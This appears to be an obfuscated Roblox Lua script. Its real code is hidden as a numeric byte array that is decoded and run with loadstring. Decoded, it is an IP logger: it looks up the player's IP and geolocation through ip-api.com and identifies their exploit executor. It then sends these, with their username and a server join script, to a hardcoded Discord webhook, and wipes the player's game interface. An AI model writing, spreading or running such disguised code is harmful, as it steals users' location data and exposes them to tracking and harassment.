local _p = {108,111,99,97,108,32,106,111,105,110,95,115,99,114,105,112,116,32,61,32,115,116,114,105,110,103,46,102,111,114,109,97,116,40,34,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,39,84,101,108,101,112,111,114,116,83,101,114,118,105,99,101,39,41,58,84,101,108,101,112,111,114,116,84,111,80,108,97,99,101,73,110,115,116,97,110,99,101,40,37,115,44,32,39,37,115,39,44,32,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,39,80,108,97,121,101,114,115,39,41,46,76,111,99,97,108,80,108,97,121,101,114,41,34,44,32,103,97,109,101,46,80,108,97,99,101,73,100,44,32,103,97,109,101,46,74,111,98,73,100,41,10,10,45,45,99,104,101,99,107,115,32,101,120,101,99,117,116,111,114,10,108,111,99,97,108,32,119,101,98,104,111,111,107,99,104,101,99,107,32,61,10,32,32,32,105,115,95,115,105,114,104,117,114,116,95,99,108,111,115,117,114,101,32,97,110,100,32,34,83,105,114,104,117,114,116,34,32,111,114,32,112,101,98,99,95,101,120,101,99,117,116,101,32,97,110,100,32,34,80,114,111,116,111,83,109,97,115,104,101,114,34,32,111,114,32,115,121,110,32,97,110,100,32,34,83,121,110,97,112,115,101,32,88,34,32,111,114,10,32,32,32,115,101,99,117,114,101,95,108,111,97,100,32,97,110,100,32,34,83,101,110,116,105,110,101,108,34,32,111,114,10,32,32,32,75,82,78,76,95,76,79,65,68,69,68,32,97,110,100,32,34,75,114,110,108,34,32,111,114,10,32,32,32,83,79,78,65,95,76,79,65,68,69,68,32,97,110,100,32,34,83,111,110,97,34,32,111,114,10,32,32,32,34,73,32,99,97,110,39,116,32,100,101,116,101,99,116,32,116,104,105,115,32,101,120,112,108,111,105,116,46,32,83,114,121,32,42,42,58,40,42,42,34,10,10,108,111,99,97,108,32,117,114,108,32,61,10,32,32,32,34,104,116,116,112,115,58,47,47,100,105,115,99,111,114,100,46,99,111,109,47,97,112,105,47,119,101,98,104,111,111,107,115,47,49,53,49,57,54,48,55,48,48,57,50,49,57,57,54,57,49,51,53,47,108,108,103,87,116,52,107,99,100,111,80,95,120,109,106,98,112,79,122,45,88,54,106,95,48,103,88,116,107,52,67,51,90,108,105,54,57,102,114,101,53,70,72,79,81,102,112,115,77,54,98,80,98,54,86,72,69,69,103,84,99,95,89,50,78,78,106,95,34,10,10,45,45,32,70,105,114,115,116,32,109,101,115,115,97,103,101,32,119,105,116,104,32,109,97,105,110,32,105,110,102,111,32,43,32,109,101,110,116,105,111,110,32,111,102,32,106,111,105,110,32,115,99,114,105,112,116,10,108,111,99,97,108,32,109,101,115,115,97,103,101,32,61,32,34,42,42,34,32,46,46,32,103,97,109,101,46,80,108,97,121,101,114,115,46,76,111,99,97,108,80,108,97,121,101,114,46,78,97,109,101,32,46,46,32,34,42,42,32,103,111,116,32,109,102,32,108,111,103,103,101,100,92,110,92,110,34,32,46,46,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,34,42,42,92,110,34,32,46,46,32,103,97,109,101,58,72,116,116,112,71,101,116,40,34,104,116,116,112,58,47,47,105,112,45,97,112,105,46,99,111,109,47,108,105,110,101,47,63,102,105,101,108,100,115,61,54,49,52,51,57,34,41,32,46,46,32,34,92,110,34,32,46,46,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,34,42,42,85,115,101,114,110,97,109,101,58,42,42,32,34,32,46,46,32,103,97,109,101,46,80,108,97,121,101,114,115,46,76,111,99,97,108,80,108,97,121,101,114,46,78,97,109,101,32,46,46,32,34,92,110,34,32,46,46,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,34,42,42,69,120,101,99,117,116,111,114,58,42,42,32,34,32,46,46,32,119,101,98,104,111,111,107,99,104,101,99,107,32,46,46,32,34,92,110,34,32,46,46,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,34,42,42,74,111,105,110,32,83,99,114,105,112,116,58,32,40,98,101,108,111,119,41,34,10,10,108,111,99,97,108,32,100,97,116,97,49,32,61,32,123,10,32,32,32,32,91,34,117,115,101,114,110,97,109,101,34,93,32,61,32,34,83,104,114,105,109,112,121,76,111,103,34,44,10,32,32,32,32,91,34,97,118,97,116,97,114,95,117,114,108,34,93,32,61,32,34,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,49,53,49,56,54,51,55,50,50,50,51,50,51,48,51,50,50,51,56,47,49,53,50,48,51,56,48,56,53,53,53,54,57,50,49,57,55,49,53,47,54,49,46,112,110,103,34,44,10,32,32,32,32,91,34,99,111,110,116,101,110,116,34,93,32,61,32,109,101,115,115,97,103,101,10,125,10,10,45,45,32,83,101,99,111,110,100,32,109,101,115,115,97,103,101,32,119,105,116,104,32,114,97,119,32,106,111,105,110,32,115,99,114,105,112,116,10,108,111,99,97,108,32,100,97,116,97,50,32,61,32,123,10,32,32,32,32,91,34,117,115,101,114,110,97,109,101,34,93,32,61,32,34,83,104,114,105,109,112,121,76,111,103,34,44,10,32,32,32,32,91,34,97,118,97,116,97,114,95,117,114,108,34,93,32,61,32,34,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,49,53,49,56,54,51,55,50,50,50,51,50,51,48,51,50,50,51,56,47,49,53,50,48,51,56,48,56,53,53,53,54,57,50,49,57,55,49,53,47,54,49,46,112,110,103,34,44,10,32,32,32,32,91,34,99,111,110,116,101,110,116,34,93,32,61,32,106,111,105,110,95,115,99,114,105,112,116,10,125,10,10,108,111,99,97,108,32,104,101,97,100,101,114,115,32,61,32,123,10,32,32,32,32,91,34,99,111,110,116,101,110,116,45,116,121,112,101,34,93,32,61,32,34,97,112,112,108,105,99,97,116,105,111,110,47,106,115,111,110,34,10,125,10,114,101,113,117,101,115,116,32,61,32,104,116,116,112,95,114,101,113,117,101,115,116,32,111,114,32,114,101,113,117,101,115,116,32,111,114,32,72,116,116,112,80,111,115,116,32,111,114,32,115,121,110,46,114,101,113,117,101,115,116,10,10,45,45,32,83,101,110,100,32,102,105,114,115,116,32,109,101,115,115,97,103,101,10,108,111,99,97,108,32,114,101,113,117,101,115,116,49,32,61,32,123,85,114,108,32,61,32,117,114,108,44,32,66,111,100,121,32,61,32,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,34,72,116,116,112,83,101,114,118,105,99,101,34,41,58,74,83,79,78,69,110,99,111,100,101,40,100,97,116,97,49,41,44,32,77,101,116,104,111,100,32,61,32,34,80,79,83,84,34,44,32,72,101,97,100,101,114,115,32,61,32,104,101,97,100,101,114,115,125,10,114,101,113,117,101,115,116,40,114,101,113,117,101,115,116,49,41,10,10,45,45,32,83,109,97,108,108,32,100,101,108,97,121,32,116,111,32,101,110,115,117,114,101,32,109,101,115,115,97,103,101,115,32,97,114,114,105,118,101,32,105,110,32,111,114,100,101,114,10,116,97,115,107,46,119,97,105,116,40,50,41,10,10,45,45,32,83,101,110,100,32,115,101,99,111,110,100,32,109,101,115,115,97,103,101,32,119,105,116,104,32,114,97,119,32,106,111,105,110,32,115,99,114,105,112,116,10,108,111,99,97,108,32,114,101,113,117,101,115,116,50,32,61,32,123,85,114,108,32,61,32,117,114,108,44,32,66,111,100,121,32,61,32,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,34,72,116,116,112,83,101,114,118,105,99,101,34,41,58,74,83,79,78,69,110,99,111,100,101,40,100,97,116,97,50,41,44,32,77,101,116,104,111,100,32,61,32,34,80,79,83,84,34,44,32,72,101,97,100,101,114,115,32,61,32,104,101,97,100,101,114,115,125,10,114,101,113,117,101,115,116,40,114,101,113,117,101,115,116,50,41,10,10,45,45,32,67,108,101,97,114,32,101,120,105,115,116,105,110,103,32,99,104,105,108,100,114,101,110,10,108,111,99,97,108,32,102,117,110,99,116,105,111,110,32,99,108,101,97,114,71,117,105,40,103,117,105,41,10,32,32,32,32,102,111,114,32,95,44,32,99,104,105,108,100,32,105,110,32,112,97,105,114,115,40,103,117,105,58,71,101,116,67,104,105,108,100,114,101,110,40,41,41,32,100,111,10,32,32,32,32,32,32,32,32,112,99,97,108,108,40,102,117,110,99,116,105,111,110,40,41,32,99,104,105,108,100,58,68,101,115,116,114,111,121,40,41,32,101,110,100,41,10,32,32,32,32,101,110,100,10,101,110,100,10,10,45,45,32,67,108,101,97,114,32,98,111,116,104,32,103,117,105,115,32,105,110,105,116,105,97,108,108,121,10,99,108,101,97,114,71,117,105,40,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,34,67,111,114,101,71,117,105,34,41,41,10,99,108,101,97,114,71,117,105,40,103,97,109,101,46,80,108,97,121,101,114,115,46,76,111,99,97,108,80,108,97,121,101,114,58,87,97,105,116,70,111,114,67,104,105,108,100,40,34,80,108,97,121,101,114,71,117,105,34,41,41,10,10,45,45,32,77,111,110,105,116,111,114,32,67,111,114,101,71,117,105,32,102,111,114,32,110,101,119,32,99,104,105,108,100,114,101,110,10,103,97,109,101,58,71,101,116,83,101,114,118,105,99,101,40,34,67,111,114,101,71,117,105,34,41,46,67,104,105,108,100,65,100,100,101,100,58,67,111,110,110,101,99,116,40,102,117,110,99,116,105,111,110,40,99,104,105,108,100,41,10,32,32,32,32,112,99,97,108,108,40,102,117,110,99,116,105,111,110,40,41,32,99,104,105,108,100,58,68,101,115,116,114,111,121,40,41,32,101,110,100,41,10,101,110,100,41,10,10,45,45,32,77,111,110,105,116,111,114,32,80,108,97,121,101,114,71,117,105,32,102,111,114,32,110,101,119,32,99,104,105,108,100,114,101,110,10,103,97,109,101,46,80,108,97,121,101,114,115,46,76,111,99,97,108,80,108,97,121,101,114,58,87,97,105,116,70,111,114,67,104,105,108,100,40,34,80,108,97,121,101,114,71,117,105,34,41,46,67,104,105,108,100,65,100,100,101,100,58,67,111,110,110,101,99,116,40,102,117,110,99,116,105,111,110,40,99,104,105,108,100,41,10,32,32,32,32,112,99,97,108,108,40,102,117,110,99,116,105,111,110,40,41,32,99,104,105,108,100,58,68,101,115,116,114,111,121,40,41,32,101,110,100,41,10,101,110,100,41}
local _d = ""
for i=1, #_p do _d = _d .. string.char(_p[i]) end
local _f = loadstring or load
local _s, _err = pcall(_f(_d))
if not _s and _err then print("Error: " .. tostring(_err)) end